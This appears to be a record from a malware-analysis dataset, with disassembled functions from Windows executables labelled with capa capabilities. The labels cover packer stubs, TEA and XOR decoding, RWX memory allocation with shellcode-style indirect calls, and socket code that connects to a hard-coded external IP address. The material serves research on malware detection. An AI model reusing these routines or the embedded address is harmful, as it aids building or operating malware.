joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd97058
Capabilities:
Decompress data using aplib

Disassembly:
call 0xd971a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xd9707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd9706a
add dl, dl
jne 0xd97089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd970dc
xor eax, eax
add dl, dl
jne 0xd97096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xd9717d
add dl, dl
jne 0xd970a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd970b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd970bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd970c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xd970d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xd97075
mov eax, 1
add dl, dl
jne 0xd970ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xd970f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd970e1
sub eax, ebx
mov ebx, 1
jne 0xd97128
mov ecx, 1
add dl, dl
jne 0xd9710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd97119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd97105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd97075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xd9713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xd9714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xd97136
cmp eax, 0x7d00
jae 0xd9716d
cmp eax, 0x500
jb 0xd97168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd97075
cmp eax, 0x7f
ja 0xd97170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xd97075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xd9719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xd97075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4c1e80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7f000]
push edi
jmp 0x4c1e9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4c1ea1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c1e90
mov eax, 1
add ebx, ebx
jne 0x4c1eb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4c1ec4
jne 0x4c1ee3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c1ee3
dec eax
add ebx, ebx
jne 0x4c1ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4c1ea8
add ebx, ebx
jne 0x4c1edf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4c1f35
xor ecx, ecx
sub eax, 3
jb 0x4c1efb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4c1f6a
sar eax, 1
mov ebp, eax
jmp 0x4c1f06
add ebx, ebx
jne 0x4c1f06
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c1ed4
inc ecx
add ebx, ebx
jne 0x4c1f14
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4c1ed4
add ebx, ebx
jne 0x4c1f21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4c1f16
jne 0x4c1f32
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4c1f16
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4c1f54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4c1f46
jmp 0x4c1e96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4c1f54
add edi, ecx
jmp 0x4c1e96
pop esi
mov edi, esi
mov ecx, 0x379b
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4c1f72
cmp byte [edi], 0x13
jne 0x4c1f72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4c1f77
lea edi, [esi + 0xbd000]
mov eax, dword [edi]
or eax, eax
je 0x4c1fef
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd2454]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd25a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4c1fa4
mov ecx, edi
jns 0x4c1fd3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd25ac]
or eax, eax
je 0x4c1fe9
mov dword [ebx], eax
add ebx, 4
jmp 0x4c1fc1
call dword [esi + 0xd25bc]
mov ebp, dword [esi + 0xd25b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4c2023
sub esp, 0xffffff80
jmp 0x4165c1
Function at 0x4650b0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b3781
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4e9028]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi], vtable.ImageEx.0
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 8], 2
mov dword [esi + 0x14], ebx
mov byte [esi + 0x30], bl
mov dword [esi + 0x34], ebx
call dword [0x4c4c2c]
mov eax, dword [eax + 0xc]
mov edi, dword [0x4c40e8]
push ebx
push ebx
push 1
push ebx
mov dword [esi + 0x20], eax
mov byte [esi + 0x31], bl
call edi
push ebx
push 1
push 1
push ebx
mov dword [esi + 0x1c], eax
call edi
push ecx
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x4cd2d8
mov dword [esi + 0x18], eax
call dword [0x4c49f0]
push ecx
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x4cd2e8
mov byte [ebp - 4], 1
call dword [0x4c49f0]
mov byte [ebp - 4], bl
mov ebx, esi
call fcn.00465310
test al, al
je 0x46517f
lea eax, [esi + 4]
push eax
mov dword [eax], 0
mov eax, dword [esi + 0x10]
push eax
call dword [0x4c42f4]
mov dword [esi + 8], eax
call fcn.00465400
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x48d970
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4bae08
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4e9028]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push edi
mov eax, dword [0x4e9028]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
mov ecx, esi
call dword [0x4c4978]
mov eax, dword [esi + 0x2e38]
mov edx, dword [eax + 0x35c]
lea ecx, [esi + 0x2e38]
call edx
mov dword [esp + 0x10], eax
mov eax, dword [esi + 0x3b50]
mov edx, dword [eax + 0x180]
lea ecx, [esi + 0x3b50]
call edx
test eax, eax
je 0x48d9fb
mov eax, dword [esi + 0x3b50]
mov edx, dword [eax + 0x35c]
lea ecx, [esi + 0x3b50]
call edx
mov dword [esp + 0xc], eax
jmp 0x48d9ff
mov dword [esp + 0xc], ebx
mov ecx, dword [esi + 0x110]
lea eax, [esp + 0x18]
push eax
push ecx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call dword [0x4c42b8]
lea edx, [esp + 0x18]
push edx
mov ecx, esi
call dword [0x4c46ec]
push 0xc0
call dword [0x4c4c88]
mov edi, eax
add esp, 4
mov dword [esp + 0x14], edi
mov dword [esp + 0x38], ebx
cmp edi, ebx
je 0x48da6e
push ebx
push 0x145
mov ecx, edi
call dword [0x4c4388]
mov dword [edi], vtable.CLoadingDlg.0
mov dword [edi + 0xb8], ebx
mov dword [edi + 0xbc], ebx
mov ecx, edi
jmp 0x48da70
xor ecx, ecx
mov dword [esp + 0x38], 0xffffffff
mov dword [esi + 0x5084], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0x168]
push esi
push 0x145
call edx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
sub ecx, eax
add eax, dword [esp + 0xc]
push 0x40
push ecx
mov ecx, dword [esp + 0x20]
sub edx, ecx
push edx
mov edx, dword [esp + 0x1c]
lea eax, [eax + edx + 8]
push eax
push ecx
mov ecx, dword [0x4c46f4]
push ecx
mov ecx, dword [esi + 0x5084]
call dword [0x4c46f0]
mov ecx, dword [esi + 0x5084]
push 5
call dword [0x4c44a0]
mov edx, dword [esi + 0x5084]
mov eax, dword [edx + 0x20]
push eax
call dword [0x4c42a0]
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.004b0962
mov esp, ebp
pop ebp
ret
Function at 0x4aaca0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
add eax, 7
and eax, 0xfffffff8
mov esi, 0
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], esi
jbe 0x4aad33
mov edi, edi
mov ecx, dword [esi + edi]
mov edx, dword [esi + edi + 4]
xor esi, esi
mov dword [ebp - 4], 0x20
mov eax, edx
shr eax, 5
add eax, dword [0x4e9dc0]
mov edi, edx
shl edi, 4
add edi, dword [0x4e9dbc]
sub esi, 0x61c88647
xor eax, edi
lea edi, [esi + edx]
xor eax, edi
add ecx, eax
mov eax, ecx
shr eax, 5
add eax, dword [0x4e9dc8]
mov edi, ecx
shl edi, 4
add edi, dword [0x4e9dc4]
xor eax, edi
lea edi, [esi + ecx]
xor eax, edi
add edx, eax
dec dword [ebp - 4]
jne 0x4aacd0
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [esi + edi], ecx
mov dword [esi + edi + 4], edx
add esi, 8
mov dword [ebp - 8], esi
cmp esi, eax
jb 0x4aacc0
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4aad40
Capabilities:
Decrypt data using tea
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
add eax, 7
and eax, 0xfffffff8
mov edx, 0
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
jbe 0x4aadd5
push edi
mov edi, edi
mov ecx, dword [edx + esi]
mov eax, dword [edx + esi + 4]
mov edx, 0xc6ef3720
mov dword [ebp - 4], 0x20
mov esi, ecx
shr esi, 5
add esi, dword [0x4e9dc8]
mov edi, ecx
shl edi, 4
add edi, dword [0x4e9dc4]
xor esi, edi
lea edi, [edx + ecx]
xor esi, edi
sub eax, esi
mov esi, eax
shr esi, 5
add esi, dword [0x4e9dc0]
mov edi, eax
shl edi, 4
add edi, dword [0x4e9dbc]
xor esi, edi
lea edi, [edx + eax]
xor esi, edi
sub ecx, esi
add edx, 0x61c88647
dec dword [ebp - 4]
jne 0x4aad73
mov edx, dword [ebp - 8]
mov esi, dword [ebp + 8]
mov dword [edx + esi], ecx
mov dword [edx + esi + 4], eax
add edx, 8
mov dword [ebp - 8], edx
cmp edx, dword [ebp - 0xc]
jb 0x4aad60
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e5e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000e5f2
pop dword [ebp - 0x3c]
mov eax, 0x1000e5f2
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xe80cae66
sub dword [ebp - 0x4c], 0x99ba691b
mov dword [ebp - 0x48], 0x8d2cbe7c
sub dword [ebp - 0x48], 0x5af97237
mov dword [ebp - 0x44], 0xe70f0e6b
add dword [ebp - 0x44], 0x653d35c3
mov dword [ebp - 0x40], 0x7df44c15
add dword [ebp - 0x40], 0x820bb3eb
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xc7ddc50e
sub eax, 0xb7dc952e
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xefca60e
add dword [ebp - 0x4c], 0x6575c348
mov dword [ebp - 0x48], 0x985692de
add dword [ebp - 0x48], 0xa915ce97
mov dword [ebp - 0x44], 0xe149f60
add dword [ebp - 0x44], 0x555acd0c
mov dword [ebp - 0x40], 0xaf8fe8a8
sub dword [ebp - 0x40], 0xaf8fe8a8
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xaa73cedc
add eax, 0x658d610c
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x385f4
push 0
call eax
mov ecx, 0x4fc2f071
sub ecx, 0x4fc2a135
mov edi, eax
mov esi, 0xc77ac64c
sub esi, 0xb7793c4c
add esi, dword [ebp - 0x3c]
mov ebx, 0x3bfb0013
sub ebx, 0x8889dc11
xor dword [ebp - 0x28], 0x21e3f3f8
mov edx, dword [esi]
xor edx, ebx
mov dword [ebp - 0x30], 0xe0a19c4c
mov dword [edi], edx
add dword [ebp - 0x34], esi
add edi, 4
add esi, 0xfaed626a
add esi, 0x5129d9a
loop 0x1000e70f
add eax, 0xdf6a87f8
add eax, 0x2096a7cb
xor ebx, ebx
add ebx, eax
add eax, 0x67f87e4f
add eax, 0x980781b6
mov ecx, 0x7469938
sub ecx, 0xf7469938
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push esi
push edi
push 0x1d1
call fcn.10007192
mov dword [0x1001629c], eax
mov edi, eax
mov ecx, 0x74
mov esi, 0x10015070
rep movsd dword es:[edi], dword [esi]
push 0xa4
movsb byte es:[edi], byte [esi]
call fcn.10007192
mov edi, eax
mov dword [0x10016298], eax
mov ecx, 0x29
mov esi, 0x10015248
push 7
rep movsd dword es:[edi], dword [esi]
call fcn.10007192
mov ecx, dword [0x100152ec]
mov dword [0x10016294], eax
mov dword [eax], ecx
mov dx, word [0x100152f0]
mov word [eax + 4], dx
mov cl, byte [0x100152f2]
push 7
mov byte [eax + 6], cl
call fcn.10007192
mov edx, dword [0x100152f4]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x10016290], eax
mov dword [eax], edx
mov cx, word [0x100152f8]
mov word [eax + 4], cx
mov dl, byte [0x100152fa]
add esp, 0x10
mov byte [eax + 6], dl
mov ecx, dword [0x1001629c]
lea eax, [esp + 8]
push eax
push 0x40
push 4
push ecx
call esi
mov eax, dword [0x10016298]
lea edx, [esp + 8]
push edx
push 0x40
push 4
push eax
call esi
mov edx, dword [0x10016294]
lea ecx, [esp + 8]
push ecx
push 0x40
push 4
push edx
call esi
mov ecx, dword [0x10016290]
lea eax, [esp + 8]
push eax
push 0x40
push 4
push ecx
call esi
mov ecx, dword [0x10016294]
mov edx, dword [sym.imp.WS2_32.dll_ntohl]
mov eax, 0x10016288
mov dword [0x10016280], eax
mov dword [0x10016288], edx
mov dword [0x1001628c], 0x10007fdc
mov dword [0x10016284], 0x1001628c
mov dword [ecx + 2], eax
mov eax, dword [0x10016280]
mov edx, dword [0x10016290]
mov dword [edx + 2], eax
mov ecx, dword [0x10016290]
mov eax, dword [0x10016298]
sub ecx, eax
sub ecx, 0x13
mov dword [eax + 0xf], ecx
mov eax, dword [0x10016298]
mov edx, dword [0x10016290]
sub edx, eax
sub edx, 0x1d
mov dword [eax + 0x19], edx
mov eax, dword [0x10016298]
mov ecx, dword [0x10016290]
sub ecx, eax
sub ecx, 0x41
mov dword [eax + 0x3d], ecx
mov eax, dword [0x10016298]
mov edx, dword [0x10016294]
sub edx, eax
sub edx, 0x90
mov dword [eax + 0x8c], edx
mov eax, dword [0x10016298]
mov ecx, dword [0x10016294]
sub ecx, eax
sub ecx, 0x9b
mov dword [eax + 0x97], ecx
mov edx, dword [0x10016284]
mov eax, dword [0x1001629c]
mov dword [eax + 0x23], edx
mov ecx, dword [0x1001629c]
mov edx, dword [0x10016284]
mov dword [ecx + 0x69], edx
mov eax, dword [0x1001629c]
mov ecx, dword [0x10016298]
sub ecx, eax
sub ecx, 0x9f
mov dword [eax + 0x9b], ecx
mov eax, dword [0x1001629c]
mov edx, dword [0x10016298]
sub edx, eax
sub edx, 0x11e
mov dword [eax + 0x11a], edx
mov ecx, dword [0x10016298]
mov eax, dword [0x1001629c]
sub ecx, eax
sub ecx, 0x197
mov dword [eax + 0x193], ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10007fcf
add esp, 4
pop edi
pop esi
pop ecx
ret

Function at 0x10001410
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push 2
push 1
lea eax, [esp + 0xb]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1000143d
jge 0x10001438
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1000143d
or eax, 0xffffffff
pop ecx
ret
xor eax, eax
pop ecx
ret
Function at 0x10001450
Capabilities:
Connect socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x220
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [esp + 0xc]
push eax
push 0x8004667e
mov edi, 1
push esi
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x10001498
or eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push ecx
push edx
push esi
call dword [sym.imp.WS2_32.dll_connect]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], edi
lea eax, [esp + 0x10]
push eax
mov ecx, 0x41
lea esi, [esp + 0x1c]
lea edi, [esp + 0x124]
push 0
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x128]
push ecx
lea edx, [esp + 0x24]
push edx
push 0
call dword [sym.imp.WS2_32.dll_select]
xor ecx, ecx
test eax, eax
setg cl
pop edi
pop esi
dec ecx
mov eax, ecx
mov esp, ebp
pop ebp
ret

Function at 0x10001530
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push 0x2200
call fcn.10007192
add esp, 4
push 0
mov esi, eax
mov eax, dword [esp + 0xc]
push 0x2200
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
push esi
call fcn.1000803d
add esp, 4
pop esi
ret
Function at 0x10003850
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x44
mov eax, dword [0x100153dc]
push ebx
push edi
mov edi, dword [esp + 0x50]
test edi, edi
mov dword [esp + 0x48], eax
je 0x10003a36
mov ebx, dword [esp + 0x54]
test ebx, ebx
je 0x10003a36
mov eax, edi
lea edx, [eax + 1]
jmp 0x10003880
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003880
sub eax, edx
cmp eax, 1
jb 0x10003a36
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10003897
sub eax, edx
cmp eax, 0xf
ja 0x10003a36
mov eax, ebx
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100038b0
sub eax, edx
cmp eax, 1
jb 0x10003a36
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100038c7
sub eax, edx
cmp eax, 0xf
ja 0x10003a36
push esi
push 0x1afa
mov word [esp + 0x40], 2
call dword [sym.imp.WS2_32.dll_htons]
push str.115.28.128.171
mov word [esp + 0x42], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0
push 1
push 2
mov dword [esp + 0x4c], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000392a
pop esi
pop edi
mov eax, 0xffffffec
pop ebx
mov ecx, dword [esp + 0x40]
call fcn.1000802f
add esp, 0x44
ret 8
push 0x10
lea eax, [esp + 0x40]
push eax
push esi
call fcn.10001450
add esp, 0xc
cmp eax, 0xffffffff
jne 0x1000395d
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
pop edi
mov eax, 0xffffffeb
pop ebx
mov ecx, dword [esp + 0x40]
call fcn.1000802f
add esp, 0x44
ret 8
xor ecx, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
lea edx, [esp + 0x1c]
mov dword [esp + 0xc], 0xd6
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x1332ba2
mov dword [esp + 0x18], 1
mov dword [esp + 0x28], ecx
mov eax, edi
sub edx, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10003997
xor edx, edx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], edx
mov dword [esp + 0x38], edx
lea edx, [esp + 0x2c]
mov eax, ebx
sub edx, ebx
jmp 0x100039c0
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100039c0
push 0x30
lea eax, [esp + 0x10]
push eax
push esi
call fcn.10002bc0
push 0x200
mov ebx, 0xffffffea
call fcn.10007192
push 5
mov edi, eax
push 0x200
push edi
push esi
call fcn.10001560
add esp, 0x20
test eax, eax
jle 0x10003a09
cmp dword [edi + 8], 0x13ed
jne 0x10003a09
mov ebx, dword [edi + 0xc]
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push edi
call fcn.1000803d
add esp, 4
pop esi
pop edi
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x40]
call fcn.1000802f
add esp, 0x44
ret 8
mov ecx, dword [esp + 0x48]
pop edi
mov eax, 0xfffffff6
pop ebx
call fcn.1000802f
add esp, 0x44
ret 8
Function at 0x10006560
Capabilities:
Get file size
Read file on windows

Disassembly:
mov edx, dword [esp + 0x1c]
test edx, edx
push esi
je 0x1000665b
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006572
sub eax, esi
cmp eax, 1
jb 0x1000665b
push 0
push 0x80
push 3
push 0
push 3
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10006652
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [esp + 0x20], eax
je 0x1000664b
cmp eax, 0xffffffff
je 0x1000664b
push edi
push eax
call fcn.10007192
mov ecx, dword [esp + 0x28]
add esp, 4
push 0
mov edi, eax
lea eax, [esp + 0x28]
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10006604
push edi
call fcn.1000803d
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 0xfffffff5
pop esi
ret 0x20
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push edi
push ecx
mov ecx, dword [esp + 0x24]
push edx
mov edx, dword [esp + 0x24]
push eax
mov eax, dword [esp + 0x24]
push ecx
push edx
push eax
call fcn.10005550
push edi
mov esi, eax
call fcn.1000803d
add esp, 4
pop edi
mov eax, esi
pop esi
ret 0x20
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffff5
pop esi
ret 0x20
mov eax, 0xfffffff6
pop esi
ret 0x20
Function at 0x10006e95
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x100153dc]
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.10006e65
mov eax, 0x10000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.100096c0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x10006ef7
cmp dword [ebp - 0x1c], 5
jb 0x10006f0f
jmp 0x10006f0b
cmp dword [ebp - 0x10], 1
jne 0x10006f0f
cmp dword [ebp - 0x1c], 4
ja 0x10006f0b
jne 0x10006f0f
cmp dword [ebp - 0x18], 0
jbe 0x10006f0f
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x1001259c
call fcn.10006db0
test eax, eax
jge 0x10006f30
mov byte [0x1003d988], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
pop esi
call fcn.1000802f
add ebp, 0x78
leave
ret

Function at 0x100073f0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
mov eax, 1
ret